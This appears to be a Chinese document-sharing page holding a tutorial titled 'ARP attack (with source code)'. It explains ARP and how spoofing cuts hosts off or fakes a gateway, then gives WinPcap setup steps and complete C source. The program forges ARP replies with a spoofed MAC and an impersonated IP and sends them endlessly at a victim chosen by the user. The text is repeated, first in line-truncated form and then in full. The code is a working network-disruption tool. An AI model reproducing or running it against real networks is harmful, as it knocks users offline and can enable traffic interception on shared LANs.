logo资料库

ARP攻击(附源码).doc

第1页 / 共6页
第2页 / 共6页
第3页 / 共6页
第4页 / 共6页
第5页 / 共6页
第6页 / 共6页
资料共6页,全文预览结束
ARP原理分析
ARP原理:
ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一
ARP数据报格式如下:
什么是ARP欺骗:
其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪
本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。
首先从http://www.winpcap.org/archive/下载4.0beta1-WpdPa
直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\Win
然后在VC中,Tools→Options→Directories下配置include和library
然后在Project→Settings→Link→Object/library Modules,在文
编译运行后按提示输入,内容如下:
1. \Device\NPF_GenericDialupAdapter (Adapter for g
2. \Device\NPF_{2A933761-706B-40E1-833D-7209ED0C04
3. \Device\NPF_{547462F5-42E8-4FFB-85F9-54DA60C68B
2是二次拨号的端口,3是本地连接,1不知道是什么,没看懂。这里选择3
输入的接收方MAC地址 00:1C:23:2D:65:44 是我自己的MAC地址,学校寝室的安全貌似
目标IP地址 10.9.190.22 也是我自己的IP
此时生成的包如下:
0 1c 23 2d 65 44 0 1b fc c2 1b b6 8 6 0 1 8 0 6 4
解释如下:
以太网首部:
0 1c 23 2d 65 44 //以太网目的地址,手动输入
0 1b fc c2 1b b6 //以太网源地址,假的,固定
ARP帧:
8 6 //帧类型,0806表示ARP协议
0 1 //硬件类型,0001以太网
8 0 //协议类型,0800IP协议
6 //硬件地址长度
4 //协议地址长度
0 2 //op,01表示请求,02表示回复
0 1b fc c2 1b b6 //发送端以太网地址,同首部中以太网源地址
a 9 be 16 //发送端IP地址,假的,固定
0 1c 23 2d 65 44 //目的以太网地址,同首部中目的地址
a 9 be 16 //目的IP地址,手动输入
填充:
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
此时电脑右下角就会出现如下图的提示,IP地址冲突。
附main.cpp代码如下:
#include
#include
#include
int main()
{
pcap_if_t *alldevs;//定义一个网络接口的一个节点
pcap_if_t *d;
int i=0,inum=0,j;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];
pcap_t *adhandle;
/* 获得设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",
exit(1);
}
/* 打印列表 */
for(d= alldevs; d != NULL; d= d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap i
return 0;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
/* 跳转到选中的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开适配器 */
if ( (adhandle= pcap_open_live(d->name, // 设备名
65536, // 要捕捉的数据包的部分
// 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
1, // 混杂模式
1000, // 读取超时时间
errbuf // 错误缓冲池
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s i
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
printf("输入被攻击方的MAC地址(如FF-FF-FF-FF-FF-FF则为广播)\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet
/* 以太网目的地址*/
/* 以太网源地址,当然是假的 */
packet[6]=0x0e;
packet[7]=0x07;
packet[8]=0X62;
packet[9]=0x00;
packet[10]=0X01;
packet[11]=0x12;
/* 帧类型,0806表示ARP协议 */
packet[12]=0x08;
packet[13]=0x06;
/* 硬件类型,0001以太网 */
packet[14]=0x00;
packet[15]=0x01;
/* 协议类型,0800IP协议 */
packet[16]=0x08;
packet[17]=0x00;
/*硬件地址长度*/
packet[18]=0x06;
/*协议地址长度*/
packet[19]=0x04;
/* op,01表示请求,02表示回复 */
packet[20]=0x00;
packet[21]=0x02;
/*发送端以太网地址,同首部中以太网源地址*/
for(i=22;i<28;i++)
{
packet[i]=packet[i-16];
}
/*发送端IP地址*/
printf("输入要假冒的ip地址\n");
scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packe
/*目的以太网地址,同首部中目的地址*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*目的IP地址,手动输入*/
printf("输入被攻击方的ip地址\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packe
/*填充数据*/
for(j=42;j<60;j++)
{
packet[j]=0x00;
}
/*在屏幕上输出数据报*/
for(i=0;i<60;i++)
{
printf("%x ",packet[i]);
}
//int k=10;
/*发送数据报*/
while(1)
{
pcap_sendpacket(adhandle, packet,60 );//一个装有要发送数据的
printf("OK\n");
_sleep(1000);
//k--;
}
pcap_close(adhandle);
return 0;
}
ARP 原理分析 ARP 原理: ARP,即地址解析协议,实现通过 IP 地址得知其物理地址。在 TCP/IP 网络环境下,每 个主机都分配了一个 32 位的 IP 地址,这种互联网地址是在网际范围标识主机的一种逻辑地 址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把 IP 地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文, 必须把目的主机的 32 位 IP 地址转换成为 48 位以太网的地址。这就需要在互连层有一组服 务将 IP 地址转换为相应物理地址,这组协议就是 ARP 协议。 ARP 数据报格式如下: 什么是 ARP 欺骗: 其实,此起彼伏的瞬间掉线或大面积的断网大都是 ARP 欺骗在作怪。ARP 欺骗攻击已 经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。从影响网络连接通畅的 方式来看,ARP 欺骗分为二种,一种是对路由器 ARP 表的欺骗;另一种是对内网 PC 的网 关欺骗。第一种 ARP 欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网 MAC 地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中, 结果路由器的所有数据只能发送给错误的 MAC 地址,造成正常 PC 无法收到信息。第二种 ARP 欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的 PC 向假网关发数 据,而不是通过正常的路由器途径上网。在 PC 看来,就是上不了网了,“网络掉线了”。 本程序基于 C 语言,利用 winpacp 实现往局域网内发自定义的包,以达到 ARP 欺骗的 目的。 首先从 http://www.winpcap.org/archive/下载 4.0beta1-WpdPack 和 4.0beta1-WinPcap.exe, 版本很多,不过最新版本需要 64 位的系统,本人 32 位系统用不了。 直接点击 4.0beta1-WinPcap.exe 安装,然后在 C:\Program Files\WinPcap 下打开 rpcapd.exe 服务。 然后在 VC 中,Tools→Options→Directories 下配置 include 和 library,将 4.0beta1-WpdPack 中的 include 和 library 库包含进去,本人把 4.0beta1-WpdPack 放在 D 盘根目录下,结果如下:
然后在 Project→Settings→Link→Object/library Modules,在文本框的末尾添加“wpcap.lib packet.lib ws2_32.lib”。 编译运行后按提示输入,内容如下:
1. \Device\NPF_GenericDialupAdapter (Adapter for generic dialup and VPN capture) 2. \Device\NPF_{2A933761-706B-40E1-833D-7209ED0C0467} (WAN (PPP/SLIP) Interface) 3. \Device\NPF_{547462F5-42E8-4FFB-85F9-54DA60C68BFD} (Broadcom NetXtreme Gigabit Ethernet Driver (Microsoft's Packet Scheduler) ) 2 是二次拨号的端口,3 是本地连接,1 不知道是什么,没看懂。这里选择 3 输入的接收方 MAC 地址 00:1C:23:2D:65:44 是我自己的 MAC 地址,学校寝室的安全貌似 做的很好,输入别人的 MAC 地址出不来东西。 目标 IP 地址 10.9.190.22 也是我自己的 IP 此时生成的包如下: 0 1c 23 2d 65 44 0 1b fc c2 1b b6 8 6 0 1 8 0 6 4 0 2 0 1b fc c2 1b b6 a 9 be 16 0 1c 23 2d 65 44 a 9 be 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 解释如下: 以太网首部: 0 1c 23 2d 65 44 //以太网目的地址,手动输入 0 1b fc c2 1b b6 //以太网源地址,假的,固定 ARP 帧: 8 6 //帧类型,0806 表示 ARP 协议 0 1 //硬件类型,0001 以太网 8 0 //协议类型,0800IP 协议 6 //硬件地址长度 4 //协议地址长度 0 2 //op,01 表示请求,02 表示回复 0 1b fc c2 1b b6 //发送端以太网地址,同首部中以太网源地址 a 9 be 16 //发送端 IP 地址,假的,固定 0 1c 23 2d 65 44 //目的以太网地址,同首部中目的地址 a 9 be 16 //目的 IP 地址,手动输入 填充: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 此时电脑右下角就会出现如下图的提示,IP 地址冲突。
附 main.cpp 代码如下: #include #include #include int main() { pcap_if_t *alldevs;//定义一个网络接口的一个节点 pcap_if_t *d; int i=0,inum=0,j; char errbuf[PCAP_ERRBUF_SIZE]; u_char packet[60]; pcap_t *adhandle; /* 获得设备列表 */ if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印列表 */ for(d= alldevs; d != NULL; d= d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if (i == 0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return 0; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); /* 跳转到选中的适配器 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开适配器 */ if ( (adhandle= pcap_open_live(d->name, // 设备名 65536, // 要捕捉的数据包的部分 // 65535 保证能捕获到不同数据链路层上的每个数据包的全部内容 1, // 混杂模式 1000, // 读取超时时间 errbuf // 错误缓冲池 ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } printf("输入被攻击方的 MAC 地址(如 FF-FF-FF-FF-FF-FF 则为广播)\n"); scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[ 4],&packet[5]); /* 以太网目的地址*/ /* 以太网源地址,当然是假的 */ packet[6]=0x0e; packet[7]=0x07; packet[8]=0X62; packet[9]=0x00; packet[10]=0X01; packet[11]=0x12; /* 帧类型,0806 表示 ARP 协议 */ packet[12]=0x08; packet[13]=0x06; /* 硬件类型,0001 以太网 */ packet[14]=0x00; packet[15]=0x01; /* 协议类型,0800IP 协议 */ packet[16]=0x08; packet[17]=0x00; /*硬件地址长度*/ packet[18]=0x06; /*协议地址长度*/ packet[19]=0x04; /* op,01 表示请求,02 表示回复 */ packet[20]=0x00; packet[21]=0x02; /*发送端以太网地址,同首部中以太网源地址*/ for(i=22;i<28;i++)
{ packet[i]=packet[i-16]; } /*发送端 IP 地址*/ printf("输入要假冒的 ip 地址\n"); scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]); /*目的以太网地址,同首部中目的地址*/ for(i=32;i<38;i++) { packet[i]=packet[i-32]; } /*目的 IP 地址,手动输入*/ printf("输入被攻击方的 ip 地址\n"); scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]); /*填充数据*/ for(j=42;j<60;j++) { packet[j]=0x00; } /*在屏幕上输出数据报*/ for(i=0;i<60;i++) { printf("%x ",packet[i]); } //int k=10; /*发送数据报*/ while(1) { pcap_sendpacket(adhandle, packet,60 );//一个装有要发送数据的缓冲区,要发送的长度,和一 个适配器 printf("OK\n"); _sleep(1000); //k--; } pcap_close(adhandle); return 0; }
分享到:
收藏